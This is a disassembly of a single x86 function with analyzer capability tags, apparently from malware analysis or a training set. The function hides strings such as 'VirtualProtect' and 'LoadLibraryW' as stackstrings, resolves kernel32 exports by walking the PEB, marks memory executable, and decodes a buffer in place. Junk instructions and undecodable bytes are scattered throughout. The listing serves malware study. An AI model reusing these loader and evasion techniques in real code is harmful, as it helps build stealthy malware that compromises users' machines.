Function at 0x510337
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
dec edx
add esp, 4
and esi, 0x6a6
pop esi
push ecx
xor ecx, 0xf8a9
pop ecx
mov byte [ebp - 0x960], 0x56
call dword [esi - 0x3a]
test dword [ecx + 0x69fffff6], esp
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push ebx
or ebx, 0x716b
add ebx, 0x13348
or ebx, 0x399a
pop ebx
push edx
call 0x50ff26
add byte [ebp + 0x43], cl
xor edi, dword [ecx]
aas
inc esp
inc esi
add esp, 4
add edx, 0xa2d0
and edx, 0x8db8
pop edx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push eax
or eax, 0x9100
xor eax, 0x10397
add eax, 0x1026
pop eax
push edx
add edx, 0xf4c5
and edx, 0xb7f3
call 0x50ff8b
add byte [ebx + 0x4c], al
inc edx
dec esi
inc ebp
xor edi, dword [eax]
add esp, 4
pop edx
cmp dword [ebp - 0x150c], 0
jne 0x50ffa7
mov dword [ebp - 0x2a8], 0
jmp 0x51024e
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push esi
call 0x50ffc6
add byte [ecx + 0x33], cl
cmp byte [esi + esi + 0x4c], cl
add esp, 4
xor esi, 0x2f33
pop esi
push ecx
push eax
add esp, 4
call 0x50ffe1
add byte [edx], bh
xor cl, byte [ebx + 0x4f]
dec ebp
dec ebx
add esp, 4
xor ecx, 0xd183
pop ecx
cmp dword [ebp - 0xc4c], 0
jne 0x510003
mov dword [ebp - 0x2a8], 0
jmp 0x51024e
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push ecx
push edi
add esp, 4
call 0x510021
add byte [ebp + 0x42], al
xor al, 0x3a
inc esp
cmp al, 0x4c
add esp, 4
jmp 0x51002a
jmp 0x510033
add ecx, 0x67fc
pop ecx
push esi
jmp 0x510040
pop esi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edi
push eax
add esp, 4
call 0x51007d
add byte [edi + 0x3e], cl
dec ecx
dec ebx
dec edx
inc esp
cmp eax, 0xe804c483
or byte [eax], al
add byte [eax], al
add byte [ebp + ecx*2 + 0x3b], al
inc ecx
inc esp
inc edx
add esp, 4
xor edi, 0xaaeb
xor edi, 0x743e
pop edi
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push edi
push ecx
add esp, 4
add edi, 0x9385
call 0x51010b
add byte [esi + 0x4c], cl
dec edi
inc ecx
cmp dword ss:[ebx + 0x9e804c4], eax
add byte [eax], al
add byte [eax], al
xor al, 0x35
dec eax
cmp al, 0x37
cmp byte [eax - 0x7d], cl
les eax, [ecx + eax*4]
invalid
push esi
push edi
add esp, 4
call 0x510262
add byte [edi], dh
dec ebp
cmp edi, dword ds:[esi]
dec ebp
dec edx
push eax
dec eax
add esp, 4
sub esi, 0xfe2a
add esi, 0xd9fd
add esi, 0x15ed
pop esi
push edi
add edi, 0xdd4c
pop edi
cmp dword [ebp - 0x2a8], 0
jne 0x510b85
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push eax
call 0x510337
add byte [ebp + 0x41], cl
inc edx
dec ebx
inc edi
xor cl, byte [edi + 0x35]
inc ecx
aaa
add esp, 4
jmp 0x510343
and eax, 0x14ad5
pop eax
push esi
push eax
add esp, 4
jmp 0x510357
pop esi
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push eax
push edx
add esp, 4
jmp 0x5103e8
pop eax
push edx
or edx, 0x93b7
xor edx, 0x171c
xor edx, 0x657d
call 0x510409
add byte [edx], bh
inc ebx
aaa
inc eax
dec ebx
cmp ecx, dword [esi - 0x7d]
les eax, [edx + ebx*2]
cmp dword [ebp - 0x1518], 0
jne 0x510425
mov dword [ebp - 0x710], 0
jmp 0x5106cc
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push ebx
push edi
add esp, 4
or ebx, 0xad5b
and ebx, 0x2850
sub ebx, 0xef83
pop ebx
push edx
or edx, 0xc7ae
pop edx
push eax
push edx
add esp, 4
add eax, 0x262a
sub eax, 0xe40e
pop eax
cmp dword [ebp - 0xc58], 0
jne 0x510481
mov dword [ebp - 0x710], 0
jmp 0x5106cc
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push esi
push ebx
add esp, 4
or esi, 0xc1f3
call 0x5104a7
add byte [edx + 0x42], cl
xor ecx, dword [ecx + 0x4b]
dec ebx
inc eax
cmp al, 0x37
add esp, 4
pop esi
push edi
and edi, 0x60d4
sub edi, 0x14aab
add edi, 0x16949
pop edi
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edi
push eax
add esp, 4
or edi, 0x16b14
and edi, 0x6c01
call 0x510509
add byte [edx], bh
cmp byte [ecx + 0x42], al
inc eax
cmp cl, byte [edi + 0x41]
dec esp
add esp, 4
add edi, 0xb98b
pop edi
push edi
or edi, 0xad99
pop edi
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push esi
push ecx
add esp, 4
add esi, 0x5891
call 0x51058a
add byte [ebx + 0x32], al
cmp edi, dword [eax]
inc edx
inc ecx
push eax
add esp, 4
jmp 0x510592
call 0x5105a0
add byte [eax], bh
cmp cl, byte ss:[edx + 0x43]
push eax
inc ebp
add esp, 4
pop esi
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x5105c1
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x51061b
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x5104e9
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x5104e9
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x510605
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x51060f
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x510664
push ecx
add ecx, 0x8ad
add ecx, 0x118be
xor ecx, 0x150bd
and ecx, 0xd225
pop ecx
push edx
push esi
add esp, 4
and edx, 0xb32a
sub edx, 0x104e0
add edx, 0x12089
pop edx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x5106cc
push esi
push esi
add esp, 4
and esi, 0xcf5
or esi, 0x1322b
sub esi, 0x4d12
pop esi
push esi
sub esi, 0xffa8
or esi, 0xcb7e
pop esi
push ecx
push edx
add esp, 4
sub ecx, 0x6e72
pop ecx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x5106c2
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x51048d
mov dword [ebp - 0x710], 0
push eax
xor eax, 0x14f41
pop eax
push esi
and esi, 0x848b
call 0x5106eb
add byte [esi + 0x36], al
dec ebp
cmp esi, dword [edi]
dec ecx
xor esi, dword [esi]
aaa
dec eax
add esp, 4
pop esi
push ecx
add ecx, 0xf84e
jmp 0x5106fd
pop ecx
cmp dword [ebp - 0x710], 0
jne 0x510748
push eax
push ecx
add esp, 4
or eax, 0x16fc5
add eax, 0x5979
pop eax
push edx
push ecx
add esp, 4
sub edx, 0x13b68
pop edx
push edx
or edx, 0x4eda
sub edx, 0x21aa
or edx, 0x12401
pop edx
mov dword [ebp - 0xa58], 0
jmp 0x511270
push eax
push eax
add esp, 4
or eax, 0xd9e4
sub eax, 0x552e
or eax, 0x102f3
pop eax
push eax
add eax, 0x9fd4
xor eax, 0xcde5
jmp 0x510773
xor eax, 0xfd8e
pop eax
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x5107b9
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x510aaa
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x5107e1
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x510aaa
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x510813
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x510aaa
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x510838
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x510aaa
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x510892
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x510a9e
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x510902
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x5109b4
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x5109b4
push esi
sub esi, 0x6daf
or esi, 0x2d97
call 0x51094a
add byte [eax], bh
inc edi
dec esp
push eax
dec edi
xor cl, byte [ebp + 0x38]
add esp, 4
call 0x51095d
add byte [ecx + 0x43], al
inc eax
inc eax
dec edi
inc ebp
inc edx
cmp dh, byte [ebx]
dec eax
add esp, 4
pop esi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x5109a6
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x5109ad
jmp 0x5108f3
jmp 0x5109b4
push eax
push edx
add esp, 4
or eax, 0x9b41
xor eax, 0xd957
xor eax, 0x1517a
or eax, 0x5c30
pop eax
push edi
push ebx
add esp, 4
jmp 0x5109de
jmp 0x5109e5
pop edi
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x510a13
mov dword [ebp - 0xc5c], 0
jmp 0x510a82
push ecx
push ebx
add esp, 4
or ecx, 0x1448a
sub ecx, 0x9ef8
xor ecx, 0x36ac
pop ecx
push eax
xor eax, 0xac08
add eax, 0x422e
or eax, 0x19c2
add eax, 0x16766
pop eax
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x510a78
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x510a82
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x510a99
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x510aaa
jmp 0x510883
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x510b85
push eax
or eax, 0xd03c
pop eax
push edx
push edx
add esp, 4
or edx, 0x165f2
jmp 0x510ad2
or edx, 0x17db7
jmp 0x510ae0
pop edx
push edi
sub edi, 0x995e
pop edi
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push ebx
add ebx, 0xf228
xor ebx, 0x168e3
pop ebx
push edx
push eax
add esp, 4
xor edx, 0x120eb
xor edx, 0xdf0b
xor edx, 0x5840
pop edx
push ebx
push ebx
add esp, 4
sub ebx, 0x17a1b
pop ebx
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x510b85
push esi
call 0x510b53
add byte [esi + 0x3b], cl
xor eax, 0x42383b47
aas
add esp, 4
pop esi
push edi
jmp 0x510b5d
pop edi
push esi
push ebx
add esp, 4
and esi, 0x1290d
add esi, 0x6283
add esi, 0xf280
pop esi
mov dword [ebp - 0xa58], 0
jmp 0x511270
push edi
xor edi, 0xbfe6
or edi, 0x123f6
xor edi, 0x16783
or edi, 0xc021
pop edi
push ebx
xor ebx, 0x4ac8
call 0x510bb3
add byte [eax], bh
inc esi
dec ebp
xor bh, byte [edi]
dec esi
inc ecx
add esp, 4
pop ebx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push ecx
or ecx, 0x894
add ecx, 0x2d79
and ecx, 0xf19
pop ecx
push edi
push ecx
add esp, 4
call 0x510c07
add byte [esi], dh
inc esi
inc esp
aaa
xor al, 0x4c
dec esi
aaa
cmp eax, 0x8104c483
invalid
push edx
push eax
add esp, 4
add edx, 0x914d
xor edx, 0xaba
call 0x511290
add byte [esi + 0x46], al
inc ebp
cmp bh, byte [ebx]
dec ebp
cmp dword [ebx + eax*4], esi
les eax, [edx + ebx*2]
push edx
and edx, 0xd51b
sub edx, 0xbdaa
pop edx
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x511315
push ebx
push eax
add esp, 4
call 0x5112e1
add byte [esi + esi + 0x33], cl
cmp esi, dword [edx]
dec ecx
inc esi
add esp, 4
and ebx, 0xc183
or ebx, 0xb98f
sub ebx, 0x13112
pop ebx
push ebx
jmp 0x511300
pop ebx
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x511332
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x51138e
push edi
and edi, 0x5845
add edi, 0x10065
pop edi
push eax
push ecx
add esp, 4
or eax, 0x17e45
and eax, 0x172d1
pop eax
push esi
push esi
add esp, 4
xor esi, 0xcdb5
and esi, 0xac27
pop esi
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x511323
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x511406
push ebx
xor ebx, 0x6801
sub ebx, 0x6fa6
and ebx, 0x15b0
sub ebx, 0x17181
pop ebx
push ebx
push eax
add esp, 4
and ebx, 0x16fdd
add ebx, 0xf0a9
or ebx, 0xea93
pop ebx
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push eax
add eax, 0x27a
call 0x511419
add byte [ebp + 0x3a], cl
cmp eax, 0x83463a48
les eax, [eax + ebx*2]
push esi
or esi, 0x183ed
call 0x511434
add byte [edi + 0x4c], al
push eax
inc edi
inc ecx
cmp eax, 0x413c3339
add esp, 4
pop esi
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff02ff
pop ecx
push edx
sub edx, 0x7c
sub dword [edx], eax
add al, byte [ebx + 0x223aee2]
add al, byte [ebx + 0x23bb8c2]
add bl, byte [edx + 0x58]
push ebx
test esi, eax
push es
in eax, dx
push es
cmp byte ds:[ecx + edi], dh
xor eax, 0xffffffb9
retf